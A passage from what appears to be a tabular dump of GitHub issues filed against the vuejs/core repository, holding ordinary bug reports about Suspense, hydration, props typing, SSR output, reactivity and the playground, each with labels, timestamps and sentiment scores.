https://play.vuejs.org/#eNrFVcmO2kAQ/ZWSc8BIBLPkRAwKoDkkh2SU4RbnYOwy9GB3W+42ixD/nuo2NmYdaQ6TkQbUr7ZXK3trnKbtdY7WwHJlkLFUgUSVpyOPsyQVmYI9cNyqGQtWcIAoEwk0SL9Rk4cYMY5juePBVBDIkStoQYbRuYHHA8GlgkppDMObxrbdHI72HgfyofKME4MNPJMnJtG2M5SlGDTZGUtQ5IURyeyCl91oO9qhTq7RbLag1+l0mtroQJ/6/4rO5APodB/xuWI0/QBGvfuMYlSQ+CmRMM4a3cag1ryWwXp1bFJg/To2JV9lYnIpNuSNJsNWWY4UosCVPz/CFKNCg6XPFzjbpUhCW9F3mZb20177ca4lkR9L/KrhclBP5blQ1UHLBEFHPUnIuyHqOsUa0ALQQ2GSxr5CegG481wpweFbEFOQoWedCNrdpmeNuq5TqIygrn/ToKcNenWDt0L0tUX/MkRmqDmOLkM892lLNyJbgeCBybTScF9ymSKXCOZJQFDtKgyYpFjU6j9Uk7+eBYMV7gihFz2c0qKsBnwqg41i4YeML9rFn+ucF8wpgx7rV5FloJaMr4BJ4EKBDwshQmqWiHPFxLEUl8TXn1lEpHRHqRL/J4szmdWylKRZjdii/SoFpyNqpo7aRqxYjNmvVKcjPWtQrJCWUVCx+WEwPY9mZYzNEoPVDfxVbjXmWc+0vJit0bMqmfKzBapC/PTyk+a/JkxEmMek/UD4G6uSG7VJzkOiXdMzbL+bi0EVmsmnraJSlElVC2X0PYtOiV78e6mf6PbbX4wd7RxVsTzUV79Cj7YxZOuipeOiS8X7skHV0X2f78lbvs35fJ9voNN4z/nhH7pkhVk=
### Steps to reproduce

when  i use component to render async component， like this 
```
//setup
const tab = ref('1')


/* // map like this
const map = {
1: defineAysncComponent(...),
2: ....
}

*/



//template 
// fallback just show once
  <Suspense >
    <component :is=""map[tab]"" :key=""tab"" />
    <template #fallback>loading.......</template>
  </Suspense>

but this can be work 

  <Suspense v-if=""show"">
    <component  :is=""map[tab]"" :key=""tab"" />
    <template #fallback>loading.......</template>
  </Suspense>
```
### What is expected?

don't need v-... [TRUNCATED]",,2025-06-30 09:03:57+00:00,2025-06-30 10:00:03+00:00,1,nan,0.039,suspense use dynamic async component fallback just work once vue version link to when i use component to render async component like this what is expected don t need v truncated,others,0.6249
vuejs/core,3172917525,defineModel on Firefox does not work as expected,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUslOwzAQ/RXLlxSppAc4lRaxqIcisQgQJ1+idBJcnLHlJVSq8u+MnbYUynKy573xm+eZWfNLY/I2AB/ziSutNJ458MEwVWA9Fdw7wc8FysZo69maWag6VlndsIxeZTvmWjdmg+ejGETR7EygwFKj86xodEDPplFhkGVHAiejviDJU+ChMarwQBFjkyTXHjd6AYpc9I8FHxE7Ge2l8iE5pAKVrPOl00jfWEcBwUtSkArsvfGSDAg+ZomJXKGUfr9JmLcBhlu8fIXy7Qd86VYRE/zBggPbguA7zhe2BrIW6dnTHazoviPJf1CU/Qf5CE6rED32aVcBF2R7Ly+5nac2S6yf3WzlAd32U9FozOxSvuDU9ti8377+afckP03vBHbUxe3I/tmDfpZpLDTKBVQS4TZGAxqowCpgGWsyjXM0wQ+gBfRjNovHUe9CQRKQlYTFS6ECkFBW0CaxXjdvN+CXJHL5bWMOdkbGintLk07B2UUiCNiYIuhwj7oPe2AHrg

### Steps to reproduce

1. Use firefox
2. Enter anything in the field. It should be blocked and only show ""a"", but it wont on firefox.

### What is expected?

It should only keep ""a"" and nothing else should ""make it through""

### What is actually happening?

Seems like either a race condition or firefox not updating at the same time as Chrome? no clue.

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (20) x64 Intel(R) Core(TM) i5-14600K
    Memory: 12.60 GB / 31.77 GB
  Binaries:
    Node: 22.16.0 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.2 - C:\nvm4w\nodejs\npm.CMD
  Browsers:
    Edge: Chromium (134.0.3124.85)
    Internet Explorer: 11.0.26100.1882

-- Its not showing my actual browser: Firefox 139.0.4
```

### Any additional comments?

_No response_","has workaround,browser specific,:hammer: p3-minor-bug",2025-06-24 18:29:17+00:00,2026-06-11 02:00:43+00:00,4,"has workaround,browser specific,:hammer: p3-minor-bug",351.3135,definemodel on firefox does not work as expected vue version link to use firefox enter anything in the field it should be blocked and only show a but it wont on firefox what is expected it should only keep a and nothing else should make it through what is actually happening seems like either a race condition or firefox not updating at the same time as chrome no clue system info any additional comments no response,bug,-0.4404
vuejs/core,3170595843,Using generics is making required props optional when using fallthrough,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U9Fu2zAM/BVOL9mAxMGQFRs8N8BadED30BWrsScBg2YzjlJb0iQ6TRHk30fJTdIWRR55JE/H83krvjmXrXsUuShC5bUjCEi9g1aZ5lwKClLMpdGds57gQgW8Nq4nWHjbwSibHpBIMvoqjTTFdCDiNS4IO9cqQq4AineTCdxY0hUCLRWBFAuNbS0F6ADGQmtNgx48/uu1xxqUqYEeHT5Jqy3GMYLKRlZtYDI5Epf+kTc7u9amYXqEUVwdgfPWjQeqJRoo7+DB+vsAKgBuHFbED+15jhfG3WgAbojlTbldTJ8dI8bsTWXNQjfZKljDBm4jgxRRm27R/3SkrWH/ckid2FNtax9+JIx8j+M9Xi2xun8DX4VNxKS49RjQr1GKQ4+Ub5C1xfbV3U3SeWh2tu5bnj7R/IXBtn3UOIxd9KZm2c/mktrr9OnZ0jJcbQhN2B8VhcbJXZqXggNweeL0o9xZ9intSbNjF18k6FQMoUGDXldclimUHEtD6BeK0/Q9xujScr2hopwPzxrVYQ6BPKvnaAKsVdszUqaiQ1I52L8rTgADLEca/qCBYAsplbCDc6hxoQ3ecoRCkUhTK3/54PAES9rN339grlO/gE7pypMUPiXRZalKR70O2Z81+mg5OzPLzrKPnyNG4fcBPcu+ZDOx+w9m10aN

### Steps to reproduce

Create a component with a generic (`<script setup lang=""ts"" generic=""T"">`). 

Use the component and provide a prop that is not in the props list (e.g. a [fallthrough attribute](https://vuejs.org/guide/components/attrs.html#fallthrough-attributes)) 

Notice that required props in the component is no longer required and typescript allows the usage without the prop. 

### What is expected?

Required props should be required and typescript should be aware of missing prop.

### What is actually happening?

The way `generic=""""` is altering `defineProps` is making required props optional.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: types,language-tools",2025-06-24 06:50:26+00:00,2025-06-24 08:24:35+00:00,1,"scope: types,language-tools",0.0654,using generics is making required props optional when using fallthrough vue version link to create a component with a generic use the component and provide a prop that is not in the props list e g a fallthrough attribute notice that required props in the component is no longer required and typescript allows the usage without the prop what is expected required props should be required and typescript should be aware of missing prop what is actually happening the way is altering is making required props optional system info any additional comments no response,others,-0.5423
vuejs/core,3165101678,Async components with lazy hydration break when interacted with very quickly after hydration,"### Vue version

3.5.17

### Link to minimal reproduction

https://stackblitz.com/edit/vue-fast-hydration-error?file=src%2FApp.vue

### Steps to reproduce

**With errors**

* Open project URL in browser
* Observe console errors

**Without errors**

* Open project URL in browser with `?lazy` query parameter
* No console errors

### What is expected?

UI shouldn’t break with lazy hydration on async components.

### What is actually happening?

UI randomly breaks with lazy hydration on async components.

![Image](https://github.com/user-attachments/assets/91b99d4a-4c99-4643-9a93-1a705a22e436)

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.17
```

### Any additional comments?

This issue creates minimum reproducible case for https://github.com/vuejs/core/pull/12148.

I’ve managed to extract all necessary UI and functionality from actual production project to recreate issue.

As issue title states, **async components with lazy hydration break when interacted with very quickly after hydration**; in this case lazy loading data for async component.

If we add artificial timeout of e.g. 1000ms, error doesn’t occur.
Using smaller values creates unpredicta... [TRUNCATED]",":hammer: p3-minor-bug,scope:hydration",2025-06-21 13:44:01+00:00,2025-07-23 00:36:48+00:00,1,":hammer: p3-minor-bug,scope:hydration",31.4533,async components with lazy hydration break when interacted with very quickly after hydration vue version link to with errors open project url in browser observe console errors without errors open project url in browser with query parameter no console errors what is expected ui shouldn t break with lazy hydration on async components what is actually happening ui randomly breaks with lazy hydration on async components image system info any additional comments this issue creates minimum reproducible case for i ve managed to extract all necessary ui and functionality from actual production project to recreate issue as issue title states async components with lazy hydration break when interacted with very quickly after hydration in this case lazy loading data for async component if we add artificial timeout of e g ms error doesn t occur using smaller values creates unpredicta truncated,bug,-0.9545
vuejs/core,3164731612,Transition,"### Vue version

3.5.13

### Link to minimal reproduction

/

### Steps to reproduce

/

### What is expected?

/

### What is actually happening?

TypeError: Cannot read properties of undefined (reading 'type')
    at getLeavingNodesForType (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:3578:52)
    at leavingHooks.delayLeave (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:3528:40)
    at remove2 (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8237:9)
    at unmount (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8197:9)
    at unmountComponent (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8267:7)
    at unmount (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8162:7)
    at unmountComponent (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8267:7)
    at unmount (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:8162:7)
    at unmount (http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:4943:7)
    at http://localhost:5173/node_modules/.vite/deps/chunk-BYRPSZTB.js?v=5b9c187f:4996:9

### System Info

```shell

```

### Any additional comments?

_No response_",can't reproduce,2025-06-21 04:03:20+00:00,2025-06-25 00:11:18+00:00,2,can't reproduce,3.8389,transition vue version link to what is expected what is actually happening typeerror cannot read properties of undefined reading type at getleavingnodesfortype at leavinghooks delayleave at remove at unmount at unmountcomponent at unmount at unmountcomponent at unmount at unmount at system info any additional comments no response,others,-0.296
vuejs/core,3162397810,reactive iterators do not support iterator helpers,"### Vue version

v3.5.17 (also v3.4.38 and 5f8314c)

### Link to minimal reproduction

https://play.vuejs.org/#eNq1U8tu2zAQ/BWCF0mAIDdIiwKpbCAtfGiBPtD2JgoFq6xtxhJJ8CE7EPTvXYpR6kNs5JIbuTO7O7NcDvRW66L3QG9oaRsjtCMWnNek5XK7ZNRZRldMik4r48hADPDGiR7ISDZGdSTB3OQDk0w2SlqHuPWts2RJJBzIrTH8oaysM0Jucy/3Uh1kvTrhgzHKvITuzAMZmCQk5nVcPyZ95TqtqoQn+VWdV8nfJH9T1xnmkFlMob3dpVVyEG6nfNAYPSR57FgEJylWLADbCLBpVmxE68CkabXP+zpbrvosqzMmR9Jw1+xICllUE/Vf6ABTWnBwxsPMTc+bOevmla0856NcxDXBpcCLg0633AHeCCn16mfUeEOG4VHuOJYLPcPrqUVAY7MZLBcnhWiOW4cT2ohtcW+VxNWc9DHaqE6LFsx37QROkFGsFJCA8bZVhy9TzBkP+RxvdtDsn4nf22OIMfoDhYLpgdEnzHGzBRfh9a9vcMTzE9ipO98i+wKIU1CtDxoj7aOXdyj7hDep/Tx9Klz133Z9dCDtbCoIDcxx4jOKf+zTBev/5V4Xb6c8fCmc4p8eTKiJA7wu3hVX7+n4D4M8VV4=

### Steps to reproduce

1. Create a reactive map (`reactive(new Map())`)
2. Call a method on the map that returns an iterator (`map.entries()`)
3. Call a helper method on this iterator, e.g. `map.entries().filter()` (as defined in https://github.com/tc39/proposal-iterator-helpers, now stable and supported by all major browsers).

**Workaround**: call `Iterator.from(map.entries()).filter()`

### What is expected?

The method should work, just like if the map had not been reactive.

### What is actually happening?

The method is not defined.

### System Info

```shell
Tested the playground link in Firefox 139.0.4 and Chrome 137.0.7151.104 on macOS 15.5.
```

### Any additional comments?

The fix should be fairly simple: if `Iterator.from` is defined, Vue should call `Iterato... [TRUNCATED]",,2025-06-20 08:37:43+00:00,2025-06-20 08:41:56+00:00,0,nan,0.0029,reactive iterators do not support iterator helpers vue version v also v and f c link to create a reactive map call a method on the map that returns an iterator call a helper method on this iterator e g as defined in now stable and supported by all major browsers workaround call what is expected the method should work just like if the map had not been reactive what is actually happening the method is not defined system info any additional comments the fix should be fairly simple if is defined vue should call iterato truncated,help,0.8667
vuejs/core,3159618974,Dialog组件中如有组件内部还使用了Dialog，会导致关闭时报错,"### Vue version

3.5.17

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-8rwcnwxg?file=src%2FApp.vue

### Steps to reproduce

点击“打开 Dialog 1”按钮，然后关闭“Dialog 1”，控制台报错

![Image](https://github.com/user-attachments/assets/f16bae70-6bc1-48ac-a116-cc7b2ee4e4b5)

### What is expected?

点击“打开 Dialog 1”按钮，然后关闭“Dialog 1”，控制台不报错

### What is actually happening?

Dialog1配置attach=""body""、destroy-on-close=""true""属性，其中的组件也有Dialog2并配置attach=""body""时，打开Dialog1后，关闭Dialog1，控制台报错，

如果Dialog1将destroy-on-close配置为false或者Dialog1将lazy配置为true再或者Dialog1、2的attach配置不一样，控制台就不会报错

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (14) arm64 Apple M4 Pro
    Memory: 752.13 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.11.0 - ~/.volta/tools/image/node/22.11.0/bin/node
    Yarn: 4.5.3 - ~/.volta/tools/image/yarn/4.5.3/bin/yarn
    npm: 10.9.0 - ~/.volta/tools/image/node/22.11.0/bin/npm
    pnpm: 9.12.3 - ~/.volta/tools/image/pnpm/9.12.3/bin/pnpm
  Browsers:
    Chrome: 137.0.7151.120
    Safari: 18.5
  npmPackages:
    vue: ~3.5.11 => 3.5.17
```

### Any additional comments?

tdesign-vue-next@1.12.0这样使用控制台不会报错",,2025-06-19 09:24:45+00:00,2025-06-19 09:38:10+00:00,1,nan,0.0093,dialog dialog vue version link to dialog dialog image what is expected dialog dialog what is actually happening dialog attach body destroy on close true dialog attach body dialog dialog dialog destroy on close false dialog lazy true dialog attach system info any additional comments tdesign vue next,others,-0.5994
vuejs/core,3156562988,defineProps has invalid validation,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUk1PwzAM/StWDggk1InPwyiTtokDIMEEuy0T6jp3y9YmUZKOTaX/HSdlH0Jo3BK/Z/v52RXrah2tSmRtFtvUCO3Aois15Imc3XPmLGcdLkWhlXHQn4t8CplRBXAWtcLXZ3PGZdxq8olNH4eFzhOH9AOIm7yU6iUXnEGLonHrgMLOqVGqZCZm0cIqSWoqn8hZqgotcjSv2gklSUwbAuKxJM/V51OIOVPi+TaezjFd/hFf2LWPcTYwaNGsSPYOc4mZoWvgh/cXXNN7BxZqWubEPgK+oVV56TU2tF4ppyT7gBfUPgYfhZwN7cPaobTbobxQz6wDnzMytX9k9L3cq+g65HFZk4u7jfyzT7fRCGSDcyLbxMMO3De1R88gJCxxozIYjtswHD2PqTKcQFXf+cWGxC7Rf1b55R+Xfv8B6QVkskUme6RPyK5hl9BeOJQpZkLiwCht46AgbUOfOnZOz6jfkZuqKkihprF/H9LHCo23lRy4im6ii1tWfwOpQPI/

### Steps to reproduce

Just open the repro link.

### What is expected?

It should print no warnings in the console.

### What is actually happening?

Typescript shows that `C` is union of string literals, but we get the error:
```text
Invalid prop: type check failed for prop ""c"". Expected Object, got String with value ""a1"".
 at <Childc=""a1"">
 at <Repl>
```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (12) arm64 Apple M3 Pro
    Memory: 184.22 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.2.0 - /opt/homebrew/bin/node
    npm: 11.3.0 - /opt/homebrew/bin/npm
  Browsers:
    Chrome: 137.0.7151.104
    Safari: 18.5
```

### Any additional comments?

Linked to [this issue](https://github.com/floating-ui/floating-ui/issues/3345).",,2025-06-18 11:47:02+00:00,2025-06-18 12:28:43+00:00,1,nan,0.0289,defineprops has invalid validation vue version link to just open the repro link what is expected it should print no warnings in the console what is actually happening typescript shows that is union of string literals but we get the error system info any additional comments linked to this issue,others,-0.7351
vuejs/core,3152710312,`<option>` inside `<optgroup>` won't have `selected` attr in the SSR output,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNqFU01v2zAM/SuELt6A1OmWttsCd8A29LAdtmEbdqmKwnWYVK0sCRLtpjD830vJcdIvtDbgZ/I9U4+U1YkvzuVtg2IuilB55QgCUuM+S6NqZz1BBx6X0MPS2xoylmbSSFNZEwjoEv+XukE4jqI32eH+fvZ2JEutExk27Gm2fuXKJpC95xIMswEOBoh1GY4G+DDAxwE+MZzxosV08M/OOSCsnS4JOSoWqo1J4js9i4AaK4J2r7YL1MdSjH1IMQqpsI6UNdDGfJRgIKYjFNOBe6Bdeds40OVFKpiip9XGUFK7t7Sehc6GoC70ZozK7KYmxU49v8bbx2IpYD6ae0TsPhzftkYkdR08XLTvty6fNBYTqZdNioecZpfCYjpMtpjem7aYCAr8AyzVKr8K1vCP1UkDIEVla6c0+l9pDe5vDomJHHdtb36kHPkGJ2O+usTq+pn8VVjHnBS/PQb0LTe95aj0K+S9ivTJ35+45vctyTveaFa/QP7BYHWTtivJvjZmwbbv6ZLb7+l4KLP6F07WhCaMTUWjUdknvRR8ZL690PrO7iw/SN9J0/MUz1v0sSYPcJYf5u+ORH8HYd1CqA==

### Steps to reproduce

1. Switch to the SSR table on right pane
2. Checkout the line 30:
   ```js
         : _ssrLooseEqual($setup.theValue, ""test""))) ? "" selected"" : """"
   ```
   and line 34 should be similar with 30 for adding `selected` attr, but it's just:
   ```js
         _ssrRenderAttr(""value"", possibleValue)
   ```

### What is expected?

```js
  _ssrRenderList($setup.allValues, (possibleValue) => {
    _push(`<option${
      _ssrRenderAttr(""value"", possibleValue)
    }${
      (_ssrIncludeBooleanAttr((Array.isArray($setup.theValue))
        ? _ssrLooseContain($setup.theValue, possibleValue)
        : _ssrLooseEqual($setup.theValue, possibleValue))) ? "" selected"" : """"
    }>${
      _ssrInterpolate(possibleValue)
    }</option>`)
```

### What is actually happening?

```js
  _ssrRenderList($s... [TRUNCATED]","scope: ssr,:hammer: p3-minor-bug",2025-06-17 09:08:58+00:00,2025-06-18 12:54:33+00:00,1,"scope: ssr,:hammer: p3-minor-bug",1.1567,inside won t have attr in the ssr output vue version link to switch to the ssr table on right pane checkout the line and line should be similar with for adding attr but it s just what is expected what is actually happening js ssrrenderlist s truncated,bug,0.3291
vuejs/core,3152075705,Vue compiler does not correctly resolve ${configDir} from extended tsconfigs,"### Vue version

3.5.16

### Link to minimal reproduction

https://stackblitz.com/edit/vue-compiler-sfc-configdir-bug?file=tsconfig.app.json

### Steps to reproduce

1. Open the minimal reproduction and observe the following compiler error:
```
[plugin:vite:vue] [@vue/compiler-sfc] Failed to resolve extends base type.
```
2. Open the `tsconfig.app.json` file and uncomment the following lines:
```
  // ""compilerOptions"": {
  //   ""paths"": {
  //     ""@/*"": [""src/*""]
  //   }
  // },
  // ""include"": [""src/**/*.ts"", ""src/**/*.tsx"", ""src/**/*.vue""],
```
3. In the terminal type `r` then press enter to reload the dev server
4. The compiler error should disappear

### What is expected?

There should not be a compiler error at any point, as the two versions of the tsconfig file are parsed identically by TypeScript.

### What is actually happening?

When using a tsconfig that extends another tsconfig, and the extended config uses the `${configDir}` magic string in the `include` or `compilerOptions.paths` settings, Vue fails to resolve imported base types for types passed to the `defineProps` macro.

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (8) arm64 Apple M1 Pro
    Memory: 304.44 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.13.1 - ~/.nvm/versions/node/v20.13.1/bin/node
    npm: 10.5.2 - ~/.nvm/versions/node/v20.13.1/bin/npm
    pnpm: 9.1.1 - ~/.nvm/versions/node/v20.13.1/bin/pnpm
  Browsers:
    Chrome: 137.0.7151.104
    Safari: 18.5
```

###... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2025-06-17 05:04:59+00:00,2025-09-02 09:09:45+00:00,1,"scope: sfc,:hammer: p3-minor-bug",77.17,vue compiler does not correctly resolve configdir from extended tsconfigs vue version link to open the and observe the following compiler error open the file and uncomment the following lines in the terminal type then press enter to reload the dev server the compiler error should disappear what is expected there should not be a compiler error at any point as the two versions of the tsconfig file are parsed identically by typescript what is actually happening when using a tsconfig that extends another tsconfig and the extended config uses the magic string in the or settings vue fails to resolve imported base types for types passed to the macro system info truncated,bug,-0.9373
vuejs/core,3149900548,console cannot find path function on the playground,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kU9LAzEQxb/KmMsq1F1K1UPZFlQK6kFFBS8BKdvpNjWbhPxZC8t+dydZWnuQ3jLvvZn8MunYrTF5G5BNWekqK4wHhz6YOVeiMdp66MDiGnpYW91ARtGMK64qrZyHxtUwi/559oBSavjUVq7OsguuymIYR4Oo8NgYufRIFUC5Gc+7LjX3fVlQlVShTPDQXjZ6hXLGGfmcQUFmWRz1sxHzjq5fizrfOq2IvIv9nFW6MUKifTFeEB5nU0hO9JZE9/OUNG8DjvZ6tcHq+x9963ZR4+zVokPbImcHzy9tjX6wF+/PuKPzwST6ICl9wnxDp2WIjEPsLqgVYR/lEu1j2r9Q9Ydb7Dwqt39UBI3JPuU5oz+5P/H0P9xJfpX6uOppi18t2jiTFjjJr/PxDet/AWCOrLM=

### Steps to reproduce

1. Visiting the minimal reproduction
2. Using **Ctrl + Shift + I** to open Browser Dev Tools
3. Click **Console** panel


### What is expected?

Nothing be warned.

### What is actually happening?

```bash
vue.worker-Dc6PZdLj-C1ykw0lc.js:16133 Language service plugin ""vue-template (html)"" (8) failed to provide document feature for volar-embedded-content://template/file%253A%252F%252F%252Fsrc%252FApp.vue. TypeError: path.basename is not a function
    at getSelfComponentName (vue.worker-Dc6PZdLj-C1ykw0lc.js:145334:28)
    at _getComponentNames (vue.worker-Dc6PZdLj-C1ykw0lc.js:145397:50)
    at Object.getComponentSpans (vue.worker-Dc6PZdLj-C1ykw0lc.js:145600:77)
    at Object.provideDocumentSemanticTokens (vue.worker-Dc6PZdLj-C1ykw0lc.js:146018:63)
    at tokens.map.range.start.line (vue.worker-Dc6PZdLj-C1ykw0lc.js:18625:62)
    at vue.worker-Dc6PZdLj-C1ykw0lc.js:16111:62
    at safeCall (vue.worker-Dc6PZdLj-C1ykw0lc.js:16130:23)
    at docsWorker (vue.worker-Dc6PZdL... [TRUNCATED]",,2025-06-16 12:50:37+00:00,2025-06-18 00:29:49+00:00,2,nan,1.4856,console cannot find path function on the playground vue version link to visiting the using ctrl shift i to open browser dev tools click console panel what is expected nothing be warned what is actually happening bash vue worker dc pzdlj c ykw lc js language service plugin vue template html failed to provide document feature for volar embedded content template file a f f fsrc fapp vue typeerror path basename is not a function at getselfcomponentname vue worker dc pzdlj c ykw lc js at getcomponentnames vue worker dc pzdlj c ykw lc js at object getcomponentspans vue worker dc pzdlj c ykw lc js at object providedocumentsemantictokens vue worker dc pzdlj c ykw lc js at tokens map range start line vue worker dc pzdlj c ykw lc js at vue worker dc pzdlj c ykw lc js at safecall vue worker dc pzdlj c ykw lc js at docsworker vue worker dc pzdl truncated,others,-0.3582
vuejs/core,3149256179,{{ render() }} has an error in the console,"### Vue version

3,5,16

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1P4zAQ/SuzvqSV2ESr3VM3rQQICTgAAiQuvkTJNA04Y8t2SqUo/52x04QegFzimXlv5s1HL86NSfcdipXIXWkb48Gh7wyoguq1FN4dpNhIalqjrYceLG5hgK3VLSTMS+bQpW7N0Z9mwUiZm/yXVGpyHlpXwzqwF8k1KqXhRVtV/UqWE8AiVWgZs1jCegN5zJdtOEGWAekJICnPRqGsig2PrVGFR7YA8t2fTd/HWsOQZ2xFrwnOkc7JQ8SMgYZM52H/u9UVKu6WiVJw0VDkJLE44zmwym1Tp69OEw+rD3wpShbZKLT3xjfchRQriJEQK7jL99vo87bDs8lf7rB8+8L/Gka94seDRYd2j1LMMV/YGv0Yvnq6wwO/5yCr7xSjfwg+otOqCxpH2EVHFcs+wUW1N3GVDdXP7urgkdzUVBAakEPES8GbD/v5rvVPuX/Tf5EnaeApTmfBA5wPqsJtQzGbJiQ/HVesIQWvXxIeIpaRRafi/5SxiGXj1fJ2jxosm5aOtwSL0Rm+3JmCoFSFc7zwfaFClXgN0+d3CB75IsfgJzML1Bm6ZGnjQIbwFMMHrEESLg==

### Steps to reproduce

see the console.

### What is expected?

Expected to render this result or give a warning that this rendering method is not supported.

### What is actually happening?

Get an error: Converting circular structure to JSON
    --> starting at object with constructor 'Object'
    |     property 'vnode' -> object with constructor 'Object'
    --- property 'component' closes the circle in the console

### System Info

```shell
Browsers
```

### Any additional comments?

_No response_",need more info,2025-06-16 09:33:02+00:00,2025-06-17 03:35:52+00:00,7,need more info,0.752,render has an error in the console vue version link to see the console what is expected expected to render this result or give a warning that this rendering method is not supported what is actually happening get an error converting circular structure to json starting at object with constructor object property vnode object with constructor object property component closes the circle in the console system info any additional comments no response,bug,-0.8901
vuejs/core,3143965735,Computed does not track dependencies if they are used later,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuELk2QLB/YTp1jbCt62A7bsPWoi+vIiVpZEiQqNWDov5eS6taHohdBfO9RfCQ1su/Wbi5BsGtW+dZJi+AFBltzLXtrHMIITnRraE1vA4ojROic6eGKkq645ro12iN00nn8J3xQCIeUsdgtv06km+P7THCtBBFBe4J3GSjadk/AVGyxWMKhhpFrgKQfiJtV2lwaFQQlA8gOFvm1GnbLkgBZXmrPlDEdSbpa5dhRu07DQEFMzqptmQNNgAIUvVUNCooAqvO+HsdkMUaoPoE2CMEeG5T6VG2JzKL7gGg0fGuVbB8PnBUHqxVn9c250ScxzWMcyyXGaluS6IFqOyvJ1gw9zaWTp82DN5q2lFvjLE1IKuH+WJQ0N86up6Y5a5QyT78yhi6I9YS3Z9E+voM/+CFhnP0lP8JdBGevHDbuJLDQt/9/i4Hur2RvjkGR+gOSFmVUSB6L7EfQR7I902W3P/NfozHe+dsBhfZTU8lo3lrWc0a/7uaD1t/sft58edl2ZPEZGXL3mQ==

### Steps to reproduce

```js
const firstResult = ref(0);
const result = ref(10);

let runs = 0;

const c1 = computed(() => {
  let x = firstResult.value;
  const shouldTakeResult = runs > 0; // or Math.round(Math.random())
  if (shouldTakeResult) {
    x = result.value;
  }
  runs++;
  return x;
});

console.warn('c1', c1.value);
result.value = 100;
await nextTick();
console.warn('c1', c1.value); // computation is not triggered
result.value = 1000;
await nextTick();
console.warn('c1', c1.value); // nope, still 0
```

### What is expected?

c1 should recompute

### What is actually happening?

c1 does not recompute :)

### System Info

```shell

```

### Any additional comments?

I know I can add result somewhere before the ""if"" to let vue know I'm going to use this dependency, but not everyone knows about it and it can lead to bugs.",,2025-06-13 15:35:51+00:00,2025-06-14 02:28:56+00:00,4,nan,0.4535,computed does not track dependencies if they are used later vue version link to what is expected c should recompute what is actually happening c does not recompute system info any additional comments i know i can add result somewhere before the if to let vue know i m going to use this dependency but not everyone knows about it and it can lead to bugs,others,0.0
vuejs/core,3143207987,Destructured prop ref out of sync with prop value,"### Vue version

3.5.16

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ywxm1tkm?file=src%2Fcomponents%2FInfoIcons.vue

### Steps to reproduce

Open the page and try to scroll **FAST** up and down:

https://github.com/user-attachments/assets/d410cda3-afb9-4d75-891a-c7a5d3d73270

### What is expected?

The prop value and destructured ref should always be in sync with each other.

### What is actually happening?

In certain cases some of the rows will have prop equal to `false`, but `ref` equal to `true`, not sure what is causing this, but it does not seem to be related to the library being used for virtual scroll. It just looks that when the component is in ""keep alive"" mode and then returns back to the DOM in some cases the ref value will not get updated. Prop value is always correct. I'm not 100% sure that this is the issue with Vue itself, but it pretty much looks so, since removing prop destructuring and just using ""raw"" prop value will always return the correct result. Like the video shows, the values gets de-synced randomly, maybe it is some kind of race condition when triggering multiple re-renders (I guess each scroll causes re-render, also the library is using `requestAnimationFrame()` ?

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
  Browsers:
    Chrome: 137.0.7151.104 (Official Build) (64-bit)
    Edge: Chromium (135.0.3179.98)
    Internet Explorer: 11.0.26100.1882
```

### Any additional comments?

_No response_",,2025-06-13 11:06:06+00:00,2025-06-14 12:09:18+00:00,2,nan,1.0439,destructured prop ref out of sync with prop value vue version link to open the page and try to scroll fast up and down what is expected the prop value and destructured ref should always be in sync with each other what is actually happening in certain cases some of the rows will have prop equal to but equal to not sure what is causing this but it does not seem to be related to the library being used for virtual scroll it just looks that when the component is in keep alive mode and then returns back to the dom in some cases the ref value will not get updated prop value is always correct i m not sure that this is the issue with vue itself but it pretty much looks so since removing prop destructuring and just using raw prop value will always return the correct result like the video shows the values gets de synced randomly maybe it is some kind of race condition when triggering multiple re renders i guess each scroll causes re render also the library is using system info any additional comments no response,others,0.9685
vuejs/core,3141927390,"Slots behave differently from Vue 3.5.14, breaks code that worked in 3.5.13","### Vue version

3.5.14+

### Link to minimal reproduction

https://github.com/uandco/vuejs-314-slots-bug

### Steps to reproduce

